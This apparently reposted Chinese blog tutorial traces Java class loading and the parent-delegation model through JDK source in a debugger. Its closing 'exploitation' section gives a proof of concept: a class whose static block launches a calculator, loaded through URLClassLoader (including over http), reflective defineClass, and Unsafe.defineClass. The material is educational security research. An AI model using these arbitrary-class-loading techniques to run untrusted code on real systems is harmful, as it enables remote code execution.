您的位置:首页 > 汽车 > 时评 > 类的动态加载-双亲委派模型

类的动态加载-双亲委派模型

2024/11/16 18:30:48 来源:https://blog.csdn.net/weixin_45436292/article/details/140184787  浏览:    关键词:类的动态加载-双亲委派模型

java反射基础

Java 基础 - 反射机制详解 | Java 全栈知识体系 (pdai.tech)

类的动态加载

参考链接:类的动态加载

构造是和实例化也就是对象相关的。

静态代码块是在初始化的时候就调用的 Class.forName();就会调用静态代码块

forName,加载类时默认初始化

        Class.forName();    //默认初始化
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();Class.forName("Person",false,classLoader);//不进行初始化

类加载器的研究

类加载器,加载类时默认不初始化。

        ClassLoader classLoader = ClassLoader.getSystemClassLoader();Class<?> person = classLoader.loadClass("Person");Class<?> person = Class.forName("Person", false, classLoader); //两个代码作用相同

底层的原理,实现加载任意的类

java双亲委派

在这里插入图片描述

image-20240704094900997

Class<?> person1 = classLoader.loadClass("Person");处打个断点进行调试。

首先调用ClassLoader.classLoader(a)因为AppClassLoader中的classLoader参数是两个,所以调用到了其父类ClassLoader.classLoader(a,b)

之后ClassLoader.classLoader(a,b)调用AppClassLoader.classLoader(a), —> ClassLoader.classLoader(a,b)

在ClassLoader.classLoader(a,b)中就涉及到了双亲委派模型

protected Class<?> loadClass(String name, boolean resolve)throws ClassNotFoundException
{synchronized (getClassLoadingLock(name)) {// First, check if the class has already been loadedClass<?> c = findLoadedClass(name);             //检查类有没有被加载if (c == null) {                                //类没有被加载 进入long t0 = System.nanoTime();try {if (parent != null) {                   //还有父加载器的话,让父加载器loadClass   这里也就是ExtClassLoaderc = parent.loadClass(name, false);} else {c = findBootstrapClassOrNull(name);}} catch (ClassNotFoundException e) {// ClassNotFoundException thrown if class not found// from the non-null parent class loader}if (c == null) {// If still not found, then invoke findClass in order// to find the class.long t1 = System.nanoTime();c = findClass(name);// this is the defining class loader; record the statssun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);sun.misc.PerfCounter.getFindClasses().increment();}}if (resolve) {resolveClass(c);}return c;}
}

进入ExtClassLoader.loadCLass, 因为其中没有loadCLass所以又直接调用到了,上面CLass.loadClass方法。

这次

protected Class<?> loadClass(String name, boolean resolve)throws ClassNotFoundException
{synchronized (getClassLoadingLock(name)) {// First, check if the class has already been loadedClass<?> c = findLoadedClass(name);if (c == null) {long t0 = System.nanoTime();try {if (parent != null) {              //找不到父加载器了,因为bootstrap ClassLoader 不在java中c = parent.loadClass(name, false);} else {c = findBootstrapClassOrNull(name);  //走到这一步 也不回找到 因为是一个普通的类 不会调用BootstrapClassLoader去加载}} catch (ClassNotFoundException e) {// ClassNotFoundException thrown if class not found// from the non-null parent class loader}if (c == null) {// If still not found, then invoke findClass in order// to find the class.long t1 = System.nanoTime();c = findClass(name);              //之后走到findClass("Person") 因为最后是在App CLassLoader中加载的 所以ExtClassLoader中先不跟了 返回的是null// this is the defining class loader; record the statssun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);sun.misc.PerfCounter.getFindClasses().increment();}}if (resolve) {resolveClass(c);}return c;}
}

之后return c=null逻辑又回到了 AppCLassLoader的loadCLass

protected Class<?> loadClass(String name, boolean resolve)throws ClassNotFoundException
{synchronized (getClassLoadingLock(name)) {// First, check if the class has already been loadedClass<?> c = findLoadedClass(name);             //检查类有没有被加载if (c == null) {                                //类没有被加载 进入long t0 = System.nanoTime();try {if (parent != null) {                   //还有父加载器的话,让父加载器loadClass   这里也就是ExtClassLoaderc = parent.loadClass(name, false);  //ExtCLassLoader返回null。所以c=null} else {c = findBootstrapClassOrNull(name);}} catch (ClassNotFoundException e) {// ClassNotFoundException thrown if class not found// from the non-null parent class loader}if (c == null) {                           //因为C=null 进入// If still not found, then invoke findClass in order// to find the class.long t1 = System.nanoTime();c = findClass(name);                   //进到findClass("Person") 跟一下这里// this is the defining class loader; record the statssun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);sun.misc.PerfCounter.getFindClasses().increment();}}if (resolve) {resolveClass(c);}return c;}
}

下面跟进findClass(“Person”)

因为AppClassLoader总没有findClass方法,所以找到了其父类URLClassLoader的findClass

protected Class<?> findClass(final String name)throws ClassNotFoundException
{final Class<?> result;try {result = AccessController.doPrivileged(new PrivilegedExceptionAction<Class<?>>() {public Class<?> run() throws ClassNotFoundException {String path = name.replace('.', '/').concat(".class");Resource res = ucp.getResource(path, false);          //ucp是类的路径 URLClassPath类if (res != null) {                                    //res不为空 进入try {return defineClass(name, res);                //主要跟一下defindClass} catch (IOException e) {throw new ClassNotFoundException(name, e);}} else {return null;}}}, acc);} catch (java.security.PrivilegedActionException pae) {throw (ClassNotFoundException) pae.getException();}if (result == null) {throw new ClassNotFoundException(name);}return result;
}

下图可以观察到 AppClassLoader调用findCLass时,ucp(查找路径)里面加入了file:/H:/java_des/target/classes/(我们项目Class路径),所以可以查到Person类,res不为空。

image-20240704135445797

跟一下URLCLassLoader.defineClass

image-20240704140107786

return 调用的是URLClassLoader的父类SecureClassLoader的defineClass方法

image-20240704140249660

return 调用的是CLassLoader的defineClass方法

protected final Class<?> defineClass(String name, byte[] b, int off, int len,ProtectionDomain protectionDomain)     //这里name是类名,b是字节码throws ClassFormatError
{protectionDomain = preDefineClass(name, protectionDomain);String source = defineClassSourceLocation(protectionDomain);Class<?> c = defineClass1(name, b, off, len, protectionDomain, source); //在defineClass1完成类的加载(字节码) 是个native类postDefineClass(c, protectionDomain);return c;
}

之后一层一层返回加载的类,加载到了URLCLass.findClass中return defineClass(name, res);处。

下一步,也就是最终返回到了我们写的loadClass方法调用代码处,可以看到返回了Person类

在这里插入图片描述

总结

ClassLoader -> SecureClassLoader -> URLCLassLoader -> AppClassLoader (继承关系 父->子)

ClassLoader.loadClass -> URLCLass.findClass(重写方法)(路径中能找到类才进入defineCLass) ->SecureClassLoader.defineClass(从字节码加载类)->ClassLoader.defineClass

image-20240704144522395

利用

先编写并编译一个弹计算器的代码,放到一个指定路径,之后把项目中的Test.class删除(项目路径没有Test.class,看看是否能够通过类加载器的利用,找到类)

import java.io.IOException;public class Test {static  {  //静态代码块try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}
}

URLCLassLoader 任意类加载:file/http/jar 协议

public class LoadClassTest {public static void main(String[] args) throws Exception {URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///G:\\Java反序列化\\class_test\\")}); //指定Class的查找路径URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")}); //指定Class的查找路径URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Test.jar!/")}); //指定Class的查找路径Class<?> c = urlClassLoader.loadClass("Test"); //load Person类c.newInstance();  //实例化}
}

ClassLoader.defineClass 字节码加载任意类 私有

public class LoadClassTest {public static void main(String[] args) throws Exception {ClassLoader classLoader = ClassLoader.getSystemClassLoader();Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClass.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));Class c = (Class) defineClass.invoke(classLoader, "Test",code, 0, code.length);  //对象 类名 字节码 字节码起始 字节码长度 defineClass返回的是Class<?> 这里也就是返回的Test.classc.newInstance(); //实例化 触发静态代码块}
}

Unsafe.defineClass 字节码加载 public类但是不能直接调用,需要先反射调用public方法实例化类

Unsafe类中defineClass方法是public的,但是是个单例模式,不能直接调用defineClass()。

看到有个getUnsafe方法,是public的,但是直接调用Unsafe.getUnsafe()是会报错的因为有个安全检查。

最后找到theUnsafe属性

private static final Unsafe theUnsafe = new Unsafe();

所以反射调用theUnsafe属性去实例化Unsafe

public native Class<?> defineClass(String name, byte[] b, int off, int len,ClassLoader loader,ProtectionDomain protectionDomain);
public class LoadClassTest {public static void main(String[] args) throws Exception {ClassLoader classLoader = ClassLoader.getSystemClassLoader();byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));Class unsafe = Unsafe.class;Field theUnsafeField = unsafe.getDeclaredField("theUnsafe");theUnsafeField.setAccessible(true);Unsafe unsafe1 = (Unsafe) theUnsafeField.get(null);Class<?> test = unsafe1.defineClass("Test", code, 0, code.length, classLoader, null);test.newInstance();}
}

Spring里面可以直接生成

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com